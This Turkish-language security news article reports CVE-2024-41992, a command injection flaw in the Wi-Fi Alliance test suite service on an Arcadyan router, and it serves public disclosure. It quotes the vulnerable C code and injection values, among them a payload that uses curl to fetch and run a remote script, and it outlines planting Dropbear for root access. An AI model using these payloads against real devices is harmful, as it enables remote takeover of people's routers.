Arcadyan FMIMG51AX000J modelinde ve potansiyel olarak WiFi Alliance’a bağlı diğer cihazlarda kritik bir sıfır günlük güvenlik açığı tespit edildi. Bu kusur, uzak saldırganların keyfi kod yürütmesine olanak tanır.
SSD Secure Disclosure ile çalışan bağımsız bir güvenlik araştırmacısı, CVE-2024-41992 olarak izlenen açığı tespit etti.
Nisan 2024’te CERT VINCE aracılığıyla WiFi Alliance’a ulaşmamıza rağmen (Vaka VU#123336), bir düzeltme için net bir zaman çizelgesi belirlenmedi.
Bunun üzerine araştırmacılar, henüz bir çözüm bulunmasa da kullanıcıları uyarmak için konuyu kamuoyuna duyurmaya karar verdiler.
SSD Secure Disclosure ekibi şunları söyledi: “Nisan 2024’te, birkaç ay sonra CERT VINCE (Vaka VU#123336) aracılığıyla WiFi Alliance’a ulaştık ve bir düzeltmenin (satıcı veya WiFi Alliance tarafından) yayınlanması için net bir zamanlama olmadığından, bu güvenlik açığını kamuoyuna bildirmek için bu duyuruyu yayınlamaya karar verdik ancak bir düzeltme sağlayamadık.”
Teknik Detaylar
Araştırmacılar, bir router üzerinde Nmap ile ağ taraması yaptıklarında 8000 ve 8080 portlarının açık olduğunu tespit ettiler.
Nmap bu portlarda çalışan servisi tespit edemese de, yapılan sorgulama sonucunda “DUT-Wi-FiTestSuite” servisinin varlığına işaret eden bir yanıt ortaya çıktı.
##############################NEXT PROBE##############################
Probe TCP wfa_dut q|\x01\x00\x00\x00|
rarity 1
ports 8000,8080
match wfa_dut m|^\x01\x00\x08\x02\x04\x00\x00\x00\x00\x00\x00\x00DUT-Wi-FiTestSuite-|
Bu servis, Wi-Fi Alliance tarafından yönlendiricileri test etmek için geliştirilen bir test aracıdır ve genellikle üretim cihazlarında bulunmaz.
Hizmet, TLV (Type-Length-Value) olarak bilinen belirli bir biçimdeki paketleri dinler. Paket yapısı 2 baytlık bir tür, 2 baytlık bir uzunluk ve 0 ila 640 bayt arasında değişen bir değerden oluşur.
Veriler big-endian formatında gönderilir ancak cihazda little-endian formatında işlenir. Hizmetin bu paketler kullanılarak çağrılabilen bir fonksiyon listesi vardır.
Örneğin, Wi-Fi Test Suite’in sürümünü öğrenmek için, ‘1’ tür değerine ve ‘0’ uzunluğuna sahip bir paket gönderirsiniz.
Bu servisin komutları yürütmek için kullanılıp kullanılamayacağını araştırdınız ve gerçekten de kullanılabilir, ancak bazı sınırlamaları var.
Fonksiyon wfaDecodeTLV
gelen paketleri çözer, türünü, uzunluğunu ve değerini çıkarır. Bazı işlevler, örneğin wfaStaGetIpConfig
sistem komutlarını yürütmek için bu paketlerdeki parametreleri kullanır. Örneğin, bir komutu parametrelerin ilk 16 baytını kullanarak biçimlendirir ve yürütür.
Komut enjekte etmenin mümkün olduğunu buldunuz, ancak önemli kısıtlamalarla. Belirli bir tür ve uzunlukta bir paket oluşturarak kısa bir komut enjekte edebilirsiniz.
Örneğin, şu değeri kullanarak $(sleep 5)
bir uyku komutu yürütebilirsiniz. Ancak, komutun uzunluğu 16 baytlık parametre alanı nedeniyle 13 karakterle sınırlıdır.
Servis komut yürütmeye izin verse de, istismar edilebilirlik enjekte edilebilecek komutların kısa uzunluğuyla sınırlıdır.
Bu durum, daha karmaşık saldırıların gerçekleştirilmesini zorlaştırıyor ancak bu hizmetin açığa çıktığı ortamlarda potansiyel bir güvenlik riskinin varlığını da vurguluyor.
İşletmenizi Cynet Tarafından Yönetilen Hepsi Bir Arada Siber Güvenlik Platformuyla Koruyun – Ücretsiz Denemeyi Deneyin
Kullanılabilirlik
Karakter kısıtlamaları başlangıçta komut enjeksiyonu girişimlerini sınırlasa da araştırmacılar, wfaTGSendPing
fonksiyonun daha kapsamlı bir şekilde kullanılmasına olanak sağladı.
//In wfa_tg.h
//#define IPV6_ADDRESS_STRING_LEN 40
typedef struct _tg_ping_start
{
char dipaddr[IPV6_ADDRESS_STRING_LEN]; /* destination/remote ip address */
int frameSize;
float frameRate;
int duration;
int type;
int qos;
int iptype;
int dscp;
} tgPingStart_t;
Daha uzun girdiye olanak tanıyan IPv6 adres alanını kullanarak saldırganlar karmaşık komutlar yürütebilir ve cihaz üzerinde kontrol sahibi olabilir.
if (staPing->iptype == 2)
{
if ( tos>0)
sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -Q %d -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, tos, staPing->frameSize,streamid);
else
sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, staPing->frameSize,streamid);
sret = system(cmdStr);
Araştırmacılar, hedeflenen sistemde halihazırda bulunan ikili dosyaları kullanarak daha geniş kullanım olanaklarına sahip olurlar.
Belirli bir paket göndererek, uzak komutları yürütebiliriz. Paket yapısı şu şekildedir: Tür (2 = 0x02), Uzunluk (33 = 0x21) ve bir komut olan Değer: '$(sh -c "$(curl 192.168.1.247:4)")'
.
Buna paralel olarak, makinemizde Dropbear’ı indirip yapılandıran bir bash betiği, Dropbear ikili dosyası ve dropbearkey ikili dosyası gibi çeşitli bileşenlere hizmet eden bir Python sunucusu çalıştırıyoruz.
Ek olarak, sunucu hata ayıklama amaçları için konsolda POST isteklerini yazdırmak üzere ayarlanmıştır. Bu kurulum, sisteme tam kök erişimi elde etmemizi sağlar; Araştırmacılar burada eksiksiz bir istismar yayınladılar.
Bu güvenlik açığı, IoT ve ağ cihazlarında sağlam güvenlik önlemlerinin önemini vurgular. Etkilenen modellerin kullanıcılarına, aygıt yazılımı güncellemelerini izlemeleri ve yamaları kullanılabilir hale gelir gelmez uygulamaları önerilir. Bu arada, ağ erişimini güvence altına almak ve olağandışı etkinliği izlemek önerilir.
Are You From SOC/DFIR Teams? - Try Advanced Malware and Phishing Analysis With ANY.RUN -14-day free trial